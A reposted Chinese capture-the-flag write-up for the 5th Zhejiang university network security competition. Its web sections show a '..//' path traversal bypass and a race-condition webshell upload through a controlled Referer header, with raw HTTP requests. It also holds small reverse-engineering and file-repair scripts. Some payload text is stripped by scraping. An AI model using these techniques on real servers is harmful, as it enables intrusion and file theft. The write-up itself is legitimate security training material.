文章目录 Dijkstra第五届浙江省大学生网络与信息安全竞赛-技能挑战赛Webnisc_easywebnisc_学校门户网站吃豆人吃豆魂买买买01 REManyCheck M
打开是PHPinfo(),没有flag,访问Http://1.14.97.218:23306/robots.txt,得到/api/record,访问,得到test_api.php,访问
查看源代码得到提示i=FlagInHere
添加参数?i=FlagInHere,得到DASCTF{65452772580975224074792032861586}
首页进入学生系统http://1.14.97.218:22898/home/login/,注册后登录,即可得到DASCTF{34707721847849260569451324788283}
2. Base64解码得到DASCTF{f235b02382a223fda4ce2ec62148d94c}
猜测img参数可以实现任意文件读取,发现过滤了…/
fuzz一下使用…//可以绕过,Base64解码即可得到源码。
$rootpath = '/var/www/html/'; $path = md5("compete" . $_SERVER['HTTP_REFERER']); $sandbox = $rootpath . $path; @mkdir($sandbox); @chdir($sandbox); function cop($filename) { copy($filename, $filename . "2.php"); rename($filename . "2.php", $filename); echo "copy" . $filename . "success"; } function read($filename) { $content = base64_encode(file_get_contents($filename)); echo '. $content . '"/>'; } if(isset($_GET['action']) && $_GET['action'] === "copy") { $filename = $sandbox . "/" . $path . ".txt"; file_put_contents($filename, "compete" . $_SERVER['HTTP_REFERER']); cop($filename); } else if(isset($_GET['action']) && $_GET['action'] === "read") { if(!isset($_GET['img'])) { $filename = "maimaimai.jpg"; } else { $filename = str_replace("../", "", $_GET['img']); } $filename = $rootpath . "img/" . $filename; read($filename); } else { header("Location: /index.php?action=read&img=maimaimai.jpg"); }?>
审计源码,发现action还可用copy,$_SERVER[‘HTTP_REFERER’]可控(即请求头中的Referer),生成的文件名后会加上2.php,但又会被重命名删去2.php,可以采用条件竞争的方式写马。
fputs(fopen('shell.php','w'),'');?>
Bp抓包
GET /index.php?action=copy HTTP/1.1Host: 1.14.97.218:21715Referer: ');?>
得到文件路径/var/www/html/3D3b75b32781ac19253077e70299fec7/3d3b75b32781ac19253077e70299fec7.txt
使用Intruder模块,边上传写马文件,边访问
GET /3d3b75b32781ac19253077e70299fec7/3d3b75b32781ac19253077e70299fec7.txt2.php HTTP/1.1Host: 1.14.97.218:21715
4. 稍等片刻,成功后即可访问写上去的马,使用蚁剑连接,得到flag
#include using namespace std;int calc(){return (1718896489 << (32 - 16)) | (1718896489 >> 16);}int main(){cout << calc();return 0;}
f=open('fuck.zip','rb').read()m=open('flag.zip','wb')m.write(f[::-1])m.close()
解压得到flag.png,无法正常打开,发现缺少PNG文件头,补齐89 50 4E 47后可以打开,但缺少一半
修改大小后即可看到完整的flag
来源地址:https://blog.csdn.net/weixin_46356548/article/details/126912008
--结束END--
本文标题: 第五届浙江省大学生网络与信息安全竞赛预赛 部分WP
本文链接: https://lsjlt.com/news/389387.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0